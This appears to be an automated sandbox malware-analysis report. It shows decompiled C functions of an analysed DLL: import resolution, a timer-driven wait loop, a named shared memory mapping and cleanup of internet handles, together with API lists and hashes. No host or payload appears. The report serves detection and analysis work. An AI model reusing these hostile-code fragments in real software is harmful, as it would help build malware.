27c8174-27c817a 2959->2962 2964 27c81ba-27c81bc 2960->2964 2965 27c81b0-27c81b8 2960->2965 2961->2938 2966 27c812a-27c813a 2961->2966 2962->2953 2968 27c817c-27c817f 2962->2968 2964->2946 2967 27c81be-27c81d6 RaiseException 2964->2967 2965->2964 2966->2938 2967->2946 2968->2953 2970 27c8181-27c818c 2968->2970 2970->2946 2970->2953
                    C-Code - Quality: 51%
                    			E027C7FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x27c0000;
				_t115 = _t139[3] + 0x27c0000;
				_t131 = _t139[4] + 0x27c0000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x27c0000;
				_v16 = _t139[5] + 0x27c0000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x27c0002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x27ca1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x27ca1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x27ca1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x27ca1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x27ca1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x27ca1b8; // 0x0
										 *_t102 = _t125;
										 *0x27ca1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x27ca1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                    0x027c7fd4
                    0x027c7fea
                    0x027c7ff0
                    0x027c7ff2
                    0x027c7ff7
                    0x027c7ffd
                    0x027c8002
                    0x027c8005
                    0x027c8013
                    0x027c801a
                    0x027c801d
                    0x027c8020
                    0x027c8021
                    0x027c8024
                    0x027c8027
                    0x027c802a
                    0x027c802f
                    0x027c803e
                    0x00000000
                    0x027c8044
                    0x027c804e
                    0x027c8058
                    0x027c805d
                    0x027c805f
                    0x027c8069
                    0x027c806c
                    0x027c806f
                    0x027c8075
                    0x027c8077
                    0x027c8077
                    0x027c807a
                    0x027c807d
                    0x027c8082
                    0x027c8086
                    0x027c8099
                    0x027c809b
                    0x027c8143
                    0x027c8143
                    0x027c814a
                    0x027c814d
                    0x027c8157
                    0x027c8157
                    0x027c815b
                    0x027c81d9
                    0x027c81dc
                    0x027c81de
                    0x027c81de
                    0x027c81e5
                    0x027c81e7
                    0x027c81f1
                    0x027c81f4
                    0x027c81f7
                    0x027c81f7
                    0x00000000
                    0x027c815d
                    0x027c8160
                    0x027c818e
                    0x027c8198
                    0x027c819c
                    0x027c81a4
                    0x027c81a7
                    0x027c81ae
                    0x027c81b8
                    0x027c81b8
                    0x027c81bc
                    0x027c81c1
                    0x027c81d0
                    0x027c81d6
                    0x027c81d6
                    0x027c81bc
                    0x00000000
                    0x027c8167
                    0x027c816a
                    0x027c8172
                    0x027c8187
                    0x027c818c
                    0x00000000
                    0x00000000
                    0x027c818c
                    0x00000000
                    0x027c8172
                    0x027c8160
                    0x027c815b
                    0x027c80a1
                    0x027c80a8
                    0x027c80b8
                    0x027c80bb
                    0x027c80c1
                    0x027c80c5
                    0x027c8108
                    0x027c8114
                    0x027c813d
                    0x027c8116
                    0x027c811a
                    0x027c8120
                    0x027c8128
                    0x027c812a
                    0x027c812d
                    0x027c8133
                    0x027c8135
                    0x027c8135
                    0x027c8128
                    0x027c811a
                    0x00000000
                    0x027c8114
                    0x027c80cd
                    0x027c80d0
                    0x027c80d7
                    0x027c80e7
                    0x027c80ea
                    0x027c80fa
                    0x00000000
                    0x027c8100
                    0x027c80e1
                    0x027c80e5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c80e5
                    0x027c80b2
                    0x027c80b6
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c80b6
                    0x027c808f
                    0x027c8093
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 027C803E
                    • LoadLibraryA.KERNELBASE(?), ref: 027C80BB
                    • GetLastError.KERNEL32 ref: 027C80C7
                    • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 027C80FA
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: ExceptionRaise$ErrorLastLibraryLoad
                    • String ID: $
                    • API String ID: 948315288-3993045852
                    • Opcode ID: b162cce16520de4532ff6bc3d92ab23e8543db096e6ce4281f43c35d7dfdaf82
                    • Instruction ID: b6a7e5d7bb231a988ada6b6b84528b6390883bcf2bec7c050035c79c851792c4
                    • Opcode Fuzzy Hash: b162cce16520de4532ff6bc3d92ab23e8543db096e6ce4281f43c35d7dfdaf82
                    • Instruction Fuzzy Hash: 4D810971A40609EFDB12CFA8D884BAEB7F5BB48315F24852DEA05E7340EB70E945CB51
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB7ABDF Relevance: 18.2, APIs: 12, Instructions: 153COMMON
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID:
                    • API String ID: 1384045349-0
                    • Opcode ID: cf183ff684581831787b45955f353596629ced9eea16773d76ebc66d14eecf34
                    • Instruction ID: 1399047ace1be53e5eb2de8686e6094f75d1742d779156611c65be62373c05d0
                    • Opcode Fuzzy Hash: cf183ff684581831787b45955f353596629ced9eea16773d76ebc66d14eecf34
                    • Instruction Fuzzy Hash: EC617A30D04298DBCB24CB64CD94BEEB775AF21308F5080D9C81A67690DB342F89CFA2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C6815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 3118 27c6815-27c6847 memset CreateWaitableTimerA 3119 27c684d-27c68a6 _allmul SetWaitableTimer WaitForMultipleObjects 3118->3119 3120 27c69c8-27c69ce GetLastError 3118->3120 3122 27c68ac-27c68af 3119->3122 3123 27c6930-27c6936 3119->3123 3121 27c69d2-27c69dc 3120->3121 3124 27c68ba 3122->3124 3125 27c68b1 call 27c5251 3122->3125 3126 27c6937-27c693b 3123->3126 3130 27c68c4 3124->3130 3131 27c68b6-27c68b8 3125->3131 3128 27c693d-27c6945 HeapFree 3126->3128 3129 27c694b-27c694f 3126->3129 3128->3129 3129->3126 3132 27c6951-27c695b CloseHandle 3129->3132 3133 27c68c8-27c68cd 3130->3133 3131->3124 3131->3130 3132->3121 3134 27c68cf-27c68d6 3133->3134 3135 27c68e0-27c690d call 27c35d2 3133->3135 3134->3135 3136 27c68d8 3134->3136 3139 27c695d-27c6962 3135->3139 3140 27c690f-27c691a 3135->3140 3136->3135 3142 27c6964-27c696a 3139->3142 3143 27c6981-27c6989 3139->3143 3140->3133 3141 27c691c-27c692c call 27c69e6 3140->3141 3141->3123 3142->3123 3146 27c696c-27c697f call 27c63f6 3142->3146 3144 27c698f-27c69bd _allmul SetWaitableTimer WaitForMultipleObjects 3143->3144 3144->3133 3148 27c69c3 3144->3148 3146->3144 3148->3123
                    C-Code - Quality: 83%
                    			E027C6815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x27ca2e0);
					_v76 = 0;
					_v80 = 0;
					L027C82DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x27ca30c; // 0x218
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x27ca2ec = 5;
						} else {
							_t69 = E027C5251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x27ca300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E027C35D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E027C69E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x27ca2e4);
							goto L21;
						} else {
							__eflags =  *0x27ca2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E027C63F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x27ca2e8);
								L21:
								L027C82DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x27ca2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                    0x027c6815
                    0x027c682b
                    0x027c682f
                    0x027c6834
                    0x027c683b
                    0x027c6841
                    0x027c6847
                    0x027c69ce
                    0x027c684d
                    0x027c684d
                    0x027c684f
                    0x027c6854
                    0x027c6855
                    0x027c685b
                    0x027c685f
                    0x027c6863
                    0x027c6871
                    0x027c687f
                    0x027c6883
                    0x027c6885
                    0x027c6892
                    0x027c689e
                    0x027c68a0
                    0x027c68a6
                    0x027c68af
                    0x027c68ba
                    0x027c68ba
                    0x027c68b1
                    0x027c68b1
                    0x027c68b8
                    0x00000000
                    0x00000000
                    0x027c68b8
                    0x027c68c4
                    0x00000000
                    0x027c68c8
                    0x027c68cd
                    0x027c68d8
                    0x027c68d8
                    0x027c68e0
                    0x027c68e6
                    0x027c68ee
                    0x027c68f7
                    0x027c68fe
                    0x027c6902
                    0x027c6907
                    0x027c690d
                    0x00000000
                    0x00000000
                    0x027c690f
                    0x027c6913
                    0x027c691a
                    0x00000000
                    0x027c691c
                    0x027c692c
                    0x027c692c
                    0x00000000
                    0x027c695d
                    0x027c695d
                    0x027c6962
                    0x027c6981
                    0x027c6983
                    0x027c6988
                    0x027c6989
                    0x00000000
                    0x027c6964
                    0x027c6964
                    0x027c696a
                    0x00000000
                    0x027c696c
                    0x027c696c
                    0x027c6971
                    0x027c6973
                    0x027c6978
                    0x027c6979
                    0x027c698f
                    0x027c698f
                    0x027c6997
                    0x027c69a5
                    0x027c69a9
                    0x027c69b5
                    0x027c69b7
                    0x027c69bb
                    0x027c69bd
                    0x00000000
                    0x027c69c3
                    0x00000000
                    0x027c69c3
                    0x027c69bd
                    0x027c696a
                    0x00000000
                    0x027c6962
                    0x027c6930
                    0x027c6932
                    0x027c6936
                    0x027c6937
                    0x027c6937
                    0x027c693b
                    0x027c6945
                    0x027c6945
                    0x027c694b
                    0x027c694e
                    0x027c694e
                    0x027c6955
                    0x027c6955
                    0x027c69dc
                    0x00000000

                    APIs
                    • memset.NTDLL ref: 027C682F
                    • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 027C683B
                    • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 027C6863
                    • SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 027C6883
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,027C26E9,?), ref: 027C689E
                    • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,027C26E9,?,00000000), ref: 027C6945
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,027C26E9,?,00000000,?,?), ref: 027C6955
                    • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 027C698F
                    • SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 027C69A9
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 027C69B5
                      • Part of subcall function 027C5251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,038C9218,00000000,?,74D0F710,00000000,74D0F730), ref: 027C52A0
                      • Part of subcall function 027C5251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,038C9160,?,00000000,30314549,00000014,004F0053,038C9270), ref: 027C533D
                      • Part of subcall function 027C5251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,027C68B6), ref: 027C534F
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,027C26E9,?,00000000,?,?), ref: 027C69C8
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                    • String ID:
                    • API String ID: 3521023985-0
                    • Opcode ID: e1605fd262ece51532a460f86e668621646a1600dbd6b462c5dee75ddbc7027e
                    • Instruction ID: 38e69a709766dfd9c250c9c59bb8af8e16e646ffacb3043bc2dbd2505d1c51ca
                    • Opcode Fuzzy Hash: e1605fd262ece51532a460f86e668621646a1600dbd6b462c5dee75ddbc7027e
                    • Instruction Fuzzy Hash: 65516D71408324AFC7159F359C889ABBBECEBC5724F608A2EF9A592190D770C554CF92
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 3163 27c415a-27c41c7 GetSystemTimeAsFileTime _aulldiv _snwprintf CreateFileMappingW 3164 27c420f-27c4215 GetLastError 3163->3164 3165 27c41c9-27c41d6 GetLastError 3163->3165 3168 27c4217-27c421c 3164->3168 3166 27c41dd-27c41ee MapViewOfFile 3165->3166 3167 27c41d8-27c41db 3165->3167 3170 27c41fe-27c4204 GetLastError 3166->3170 3171 27c41f0-27c41fc 3166->3171 3169 27c4206-27c420d CloseHandle 3167->3169 3169->3168 3170->3168 3170->3169 3171->3168
                    C-Code - Quality: 74%
                    			E027C415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L027C82D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x27ca348; // 0x10fd5a8
				_t5 = _t13 + 0x27cb7b4; // 0x38c8d5c
				_t6 = _t13 + 0x27cb644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L027C7F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x27ca34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                    0x027c415a
                    0x027c4162
                    0x027c4166
                    0x027c416c
                    0x027c4171
                    0x027c4176
                    0x027c4179
                    0x027c417c
                    0x027c4181
                    0x027c4182
                    0x027c4185
                    0x027c418a
                    0x027c4191
                    0x027c419b
                    0x027c419d
                    0x027c419e
                    0x027c41a1
                    0x027c41bd
                    0x027c41c3
                    0x027c41c7
                    0x027c4215
                    0x027c41c9
                    0x027c41d6
                    0x027c41e6
                    0x027c41ee
                    0x027c4200
                    0x027c4204
                    0x00000000
                    0x00000000
                    0x027c41f0
                    0x027c41f3
                    0x027c41f8
                    0x027c41fa
                    0x027c41fa
                    0x027c41d8
                    0x027c41da
                    0x027c4206
                    0x027c4207
                    0x027c4207
                    0x027c41d6
                    0x027c421c

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,027C25B1,?,?,4D283A53,?,?), ref: 027C4166
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 027C417C
                    • _snwprintf.NTDLL ref: 027C41A1
                    • CreateFileMappingW.KERNELBASE(000000FF,027CA34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 027C41BD
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,027C25B1,?,?,4D283A53,?), ref: 027C41CF
                    • MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 027C41E6
                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,027C25B1,?,?,4D283A53), ref: 027C4207
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,027C25B1,?,?,4D283A53,?), ref: 027C420F
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1814172918-0
                    • Opcode ID: 9ee5eca07646e1e6dc421c0b7b10c426c05f985ed0ea1e52fccea23e8c967423
                    • Instruction ID: f2b36436ef0f7b125d9773bb5177a4a0e4dcebbc41c1219dffb18bf6076e11eb
                    • Opcode Fuzzy Hash: 9ee5eca07646e1e6dc421c0b7b10c426c05f985ed0ea1e52fccea23e8c967423
                    • Instruction Fuzzy Hash: E3219072A80205FBD721AB74CC2AF9E7BB9AB84754F35402DFA06E7280DB709955CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB75805 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 325COMMON
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$char_traits
                    • String ID: PgB$jj
                    • API String ID: 1455298312-3028221488
                    • Opcode ID: 1638f8a55c3db68e4dff4b909532099cb6064e55fb7d92322e7db88e4919a97a
                    • Instruction ID: ebd8bec24474883a7c7d0d36445a418cff78f1d11b45345cd0d029a7ebacfc24
                    • Opcode Fuzzy Hash: 1638f8a55c3db68e4dff4b909532099cb6064e55fb7d92322e7db88e4919a97a
                    • Instruction Fuzzy Hash: 8AE14B70D04199CBDF24CF94C884BEDB771FB45309F548199D8256BA80DB709A8DCF6A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C4BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                    Download Yara Rule
                    C-Code - Quality: 93%
                    			E027C4BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E027C16B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E027C61DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E027C61DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E027C61DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E027C61DA(_t46);
				}
				return _t24;
			}












                    0x027c4be7
                    0x027c4be7
                    0x027c4be9
                    0x027c4beb
                    0x027c4bf2
                    0x027c4bf9
                    0x027c4bf9
                    0x027c4bfe
                    0x027c4c01
                    0x027c4c08
                    0x027c4c11
                    0x027c4c15
                    0x027c4c1a
                    0x027c4c1a
                    0x027c4c1c
                    0x027c4c21
                    0x027c4c25
                    0x027c4c2a
                    0x027c4c2a
                    0x027c4c2c
                    0x027c4c31
                    0x027c4c35
                    0x027c4c3a
                    0x027c4c3a
                    0x027c4c3c
                    0x027c4c47
                    0x027c4c4a
                    0x027c4c4a
                    0x027c4c4c
                    0x027c4c51
                    0x027c4c54
                    0x027c4c54
                    0x027c4c56
                    0x027c4c5d
                    0x027c4c60
                    0x027c4c65
                    0x027c4c68
                    0x027c4c68
                    0x027c4c6b
                    0x027c4c70
                    0x027c4c73
                    0x027c4c73
                    0x027c4c78
                    0x027c4c7c
                    0x027c4c7f
                    0x027c4c7f
                    0x027c4c84
                    0x027c4c89
                    0x00000000
                    0x027c4c8c
                    0x027c4c93

                    APIs
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 027C4C15
                    • InternetCloseHandle.WININET(?), ref: 027C4C1A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 027C4C25
